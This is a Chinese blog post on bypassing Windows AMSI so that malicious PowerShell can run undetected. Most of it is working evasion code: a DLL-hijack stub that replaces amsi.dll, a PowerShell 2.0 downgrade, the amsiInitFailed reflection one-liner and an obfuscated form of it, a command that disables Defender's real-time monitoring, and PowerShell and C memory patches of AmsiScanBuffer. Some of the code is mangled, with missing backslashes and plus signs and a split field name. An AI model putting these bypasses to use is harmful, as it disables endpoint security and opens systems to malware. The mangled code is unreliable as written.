干货 | 绕过AMSI实现免杀的研究和思路

2021-11-12 10:46:42 浏览数 (1)

何为AMSI

Antimalware Scan Interface(AMSI)为反恶意软件扫描接口。

微软对他产生的目的做出来描述:

Windows 反恶意软件扫描接口 (AMSI) 是一种通用接口标准,允许您的应用程序和服务与机器上存在的任何反恶意软件产品集成。AMSI 为您的最终用户及其数据、应用程序和工作负载提供增强的恶意软件保护。AMSI 与反恶意软件供应商无关;它旨在支持当今可以集成到应用程序中的反恶意软件产品提供的最常见的恶意软件扫描和保护技术。它支持允许文件和内存或流扫描、内容源 URL/IP 信誉检查和其他技术的调用结构。AMSI 还支持会话的概念,以便反恶意软件供应商可以关联不同的扫描请求。例如,可以将恶意负载的不同片段关联起来做出更明智的决定,而仅通过孤立地查看这些片段就很难做出决定。

在Windows Server 2016和Win10上已经默认安装并启用。他的本体是一个DLL文件,存在于 c:windowssystem32amsi.dll。

它提供了通用的标准接口(COM接口、Win32 API)其中的COM接口,是为杀软供应商提供的,方便杀软厂商接入自身针对恶意软件的识别能力。有不少安全厂商已经接入了AMSI的接口。

官方架构图:

目前AMSI功能已集成到Windows 10的这些组件中

•用户帐户控制或 UAC(EXE、COM、MSI 或 ActiveX 安装的提升)•PowerShell(脚本、交互使用和动态代码评估)•Windows 脚本宿主(wscript.exe 和 cscript.exe)•JavaScript 和 VBScript•Office VBA 宏

既然本质上是一个dll,那么就可以看下他的导出函数。

当执行一些敏感字符串时,会发现powershell拒绝执行并报毒。

查看powershell模块会发现加载了amsi.dll

几种绕过的方式

dll劫持

再打开powershell进程时,会加载amsi进程,那么自然的就想到可以通过dll劫持,或者替换等方式来bypass。

dll加载的顺序:

•进程对应的应用程序所在目录•系统目录(通过 GetSystemDirectory 获取)•16位系统目录•Windows目录(通过 GetWindowsDirectory 获取)•当前目录•PATH环境变量中的各个目录

powershell.exe的路径为C:WindowsSystem32WindowsPowerShellv1.0,只需要在同目录下置放一个名为amsi.dll的模块。

但是并不是随便一个模块都行,由于已经开启了amsi,如果错误加载会引起powershell崩溃,那么我们也无法执行命令。这里就要导出本来amsi.dll有的导出函数。

比如这里导出函数有个AmsiScanBuffer

然后去msdn去找,文档里面有相关的函数说明并且有参数等等。

代码语言:javascript复制
#include "pch.h"#include <iostream> extern "C" __declspec(dllexport) void AmsiScanBuffer(HAMSICONTEXT amsiContext,    PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession,    AMSI_RESULT * result); void AmsiScanBuffer(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length,    LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result) { }

这样一个一个去把导出函数写出。不要去直接include系统文件amsi,这样他那个文件里本来就有相关函数,这样会起冲突,直接把有些结构体粘过来就好了。

代码语言:javascript复制
typedef struct HAMSICONTEXT {    DWORD       Signature;          // "AMSI" or 0x49534D41    PWCHAR      AppName;           // set by AmsiInitialize    DWORD       Antimalware;       // set by AmsiInitialize    DWORD       SessionCount;      // increased by AmsiOpenSession} HAMSICONTEXT; typedef struct HAMSISESSION {    DWORD amsiSession;} HAMSISESSION; typedef enum AMSI_RESULT {    AMSI_RESULT_CLEAN = 0x00,    AMSI_RESULT_NOT_DETECTED = 0x01,    AMSI_RESULT_BLOCKED_BY_ADMIN_START = 0x4000,    AMSI_RESULT_BLOCKED_BY_ADMIN_END = 0x4fff,    AMSI_RESULT_DETECTED = 0x8000,} AMSI_RESULT;

这样我们自己编写的dll也有相关的导出函数可以让powershell去调用,只不过里面没功能。注意这个amsi是64位的。

把自己的dll放到powershell.exe的同目录下,再次打开powershell。

查看powershell进程的模块,发现已经是我们自己写的模块了。

已经成功bypass

整个过程中需要管理员权限,dll也需要考虑免杀的问题,甚至还能用它来维权?这个方法按理来说应该是比较敏感的,要看微软什么时候去修复。

除了劫持还可以卸载,但是会造成powershell不稳定直接崩溃。这个方法是不行的。

降低powershell版本

将powershell版本降到2.0,就能够规避amsi,因为在低版本的powershell中还没有加入amsi。那么就需要知道目标机器的powershell版本。

代码语言:javascript复制
$PSVersionTable

在 Windows 7 和 Windows 服务器 2008 R2 以上版本,PowerShell 2.0 集成在所有 Windows 版本中。

在普通用户权限下,可以通过如下命令经行检查:

代码语言:javascript复制
Get-ChildItem 'HKLM:SOFTWAREMicrosoftNET Framework SetupNDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)p{L}'} | Select -ExpandProperty Version

管理员权限可以使用如下命令:

代码语言:javascript复制
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2

这里虚拟机是没有这个环境的,看了下本机有2.0版本,这里就换下本机试一下,是能够成功的执行的。

混淆

一个最简单的例子

代码语言:javascript复制
"amsiutils""amsiuti" "ls"

可通过一行命令直接关闭AMSI

代码语言:javascript复制
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiI nitFailed','NonPublic,Static').SetValue($null,$true)

但是直接关闭肯定是不行的,他的特征实际上就在System.Management.Automation.AmsiUtils 和 amsiInitFailed。

这里可混淆的方式也是比较多的,方式可以如下:

代码语言:javascript复制
$a =[Ref].Assembly.GetType('System.Management.Automation.AmsiUti' ls') $h="4456625220575263174452554847" $s =[string](0..13|%{[char][int](53 ($h).substring(($_*2),2))})-replace " " $b =$a.GetField($s,'NonPublic,Static')$b.SetValue($null,$true)

在网上看到关闭Windows Defender 也可以使系统自带的AMSI检测无效化,需要管理员权限,这个方法现在已经不行了。

代码语言:javascript复制
Set-MpPreference -DisableRealtimeMonitoring $true

利用反射将内存中AmsiScanBuffer方法的检测长度置为0

AMSI检测调用过程为:

代码语言:javascript复制
AmsiInitialize – 初始化AMSI API.AmsiOpenSession – 打开sessionAmsiScanBuffer – scans the user-input.AmsiCloseSession – 关闭sessionAmsiUninitialize – 删除AMSI API

其中AmsiScanBuffer参数微软也给出了说明,第三个参数是要检测缓冲区的长度。

脚本来源:https://gist.github.com/shantanu561993/6483e524dc225a188de04465c8512909

代码语言:javascript复制
/*
* 提示:该行代码过长,系统自动注释不进行高亮。一键复制会移除系统注释 
* Class Hunter {    static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) {        while ($true) {            [int]$count = 0             while ($true) {                [IntPtr]$address = [IntPtr]::Add($address, 1)                If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {                    $count                      If ($count -eq $egg.Length) {                        return [IntPtr]::Subtract($address, $egg.Length - 1)                    }                } Else { break }            }        }         return $address    }}function Get-ProcAddress {    Param(        [Parameter(Position = 0, Mandatory = $True)] [String] $Module,        [Parameter(Position = 1, Mandatory = $True)] [String] $Procedure    )     # Get a reference to System.dll in the GAC    $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }    $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')    # Get a reference to the GetModuleHandle and GetProcAddress methods    $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')    $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))    # Get a handle to the module specified    $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))    $tmpPtr = New-Object IntPtr    $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)    # Return the address of the function    return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))}function Get-DelegateType{    Param    (        [OutputType([Type])]                    [Parameter( Position = 0)]        [Type[]]        $Parameters = (New-Object Type[](0)),                    [Parameter( Position = 1 )]        [Type]        $ReturnType = [Void]    )     $Domain = [AppDomain]::CurrentDomain    $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')    $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)    $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])    $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)    $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')    $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)    $MethodBuilder.SetImplementationFlags('Runtime, Managed')            Write-Output $TypeBuilder.CreateType()}$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA$LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])$LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)$GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress$GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])$GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect$VistualProtectDelegate =  Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])$VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VistualProtectDelegate)  If ([IntPtr]::Size -eq 8) {    Write-Host "[ ] 64-bits process"    [byte[]]$egg = [byte[]] (        0x4C, 0x8B, 0xDC,       # mov     r11,rsp        0x49, 0x89, 0x5B, 0x08, # mov     qword ptr [r11 8],rbx        0x49, 0x89, 0x6B, 0x10, # mov     qword ptr [r11 10h],rbp        0x49, 0x89, 0x73, 0x18, # mov     qword ptr [r11 18h],rsi        0x57,                   # push    rdi        0x41, 0x56,             # push    r14        0x41, 0x57,             # push    r15        0x48, 0x83, 0xEC, 0x70  # sub     rsp,70h    )} Else {    Write-Host "[ ] 32-bits process"    [byte[]]$egg = [byte[]] (        0x8B, 0xFF,             # mov     edi,edi        0x55,                   # push    ebp        0x8B, 0xEC,             # mov     ebp,esp        0x83, 0xEC, 0x18,       # sub     esp,18h        0x53,                   # push    ebx        0x56                    # push    esi    )}  $hModule = $LoadLibrary.Invoke("amsi.dll")Write-Host "[ ] AMSI DLL Handle: $hModule"$DllGetClassObjectAddress = $GetProcAddress.Invoke($hModule, "DllGetClassObject")Write-Host "[ ] DllGetClassObject address: $DllGetClassObjectAddress"[IntPtr]$targetedAddress = [Hunter]::FindAddress($DllGetClassObjectAddress, $egg)Write-Host "[ ] Targeted address: $targetedAddress" $oldProtectionBuffer = 0$VirtualProtect.Invoke($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null $patch = [byte[]] (    0x31, 0xC0,    # xor rax, rax    0xC3           # ret  )[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3) $a = 0$VirtualProtect.Invoke($targetedAddress, [uint32]2, $oldProtectionBuffer, [ref]$a) | Out-Null
*/

但是这个脚本到现在已经不行了,而且defender是直接报毒的,我在想是不是可以hook一下,改下值就行了。

内存补丁

我们知道字符串是否敏感是由amsi.dll中的AmsiScanBuffer函数来进行判断的,而内存补丁是一种较为便捷的技术,我们可以对这个函数进行修补,使其丧失判断能力,这样我们就能自由执行任意powershell脚本,当然前提是脚本文件没有被杀软干掉。

上面的方式通过将AmsiScanBuffer的第三个参数长度改为0,我感觉也可以归为内存补丁的一种。

通过上面对AmsiScanBuffer的介绍,应该知道了该函数返回HRESULT类型值,这是一个整数值,用来表示操作是否成功。如果该函数成功,那么就应当返回S_OK(0x00000000),否则应该返回HRESULT错误代码。

AmsiScanBuffer最后一个参数为AMSI_RESULT

结构为

代码语言:javascript复制
typedef enum AMSI_RESULT {  AMSI_RESULT_CLEAN,  AMSI_RESULT_NOT_DETECTED,  AMSI_RESULT_BLOCKED_BY_ADMIN_START,  AMSI_RESULT_BLOCKED_BY_ADMIN_END,  AMSI_RESULT_DETECTED} ;

大概就是通过这个结构体去返回是否认定被检测的内容是否的恶意的,数值越大风险越高。

方法应该挺多的,可以注入一个dll到powershell这样去hook或者什么操作,也可以直接起一个powershell进程然后获取AmsiScanBuffer的函数地址,让他直接函数返回啊这些操作,这个方法的重点应该是免杀性。

偷个懒:https://idiotc4t.com/defense-evasion/memory-pacth-bypass-amsi

代码语言:javascript复制
#include <Windows.h>#include <stdio.h> int main() {    STARTUPINFOA si = { 0 };    PROCESS_INFORMATION pi = { 0 };    si.cb = sizeof(si);     CreateProcessA(NULL, (LPSTR)"powershell -NoExit dir", NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi);     HMODULE hAmsi = LoadLibraryA("amsi.dll");    LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");     Sleep(500);     DWORD oldProtect;    char patch = 0xc3;     VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect);    WriteProcessMemory(pi.hProcess, (LPVOID)pAmsiScanBuffer, &patch, sizeof(char), NULL);    VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, oldProtect, NULL);    CloseHandle(pi.hProcess);    CloseHandle(pi.hThread);    FreeLibrary(hAmsi);    return 0;}

0xc3的硬编码对应的汇编是ret,也就是调用AmsiScanBuffer直接让他返回。这个马是直接被杀的。

还有一些如com劫持,NULL字符绕过的办法已经失效了,这里作为初探就不去研究了。

推荐阅读

《Bypass AMSI的前世今生》by LN

https://idiotc4t.com/defense-evasion/memory-pacth-bypass-amsi

0 人点赞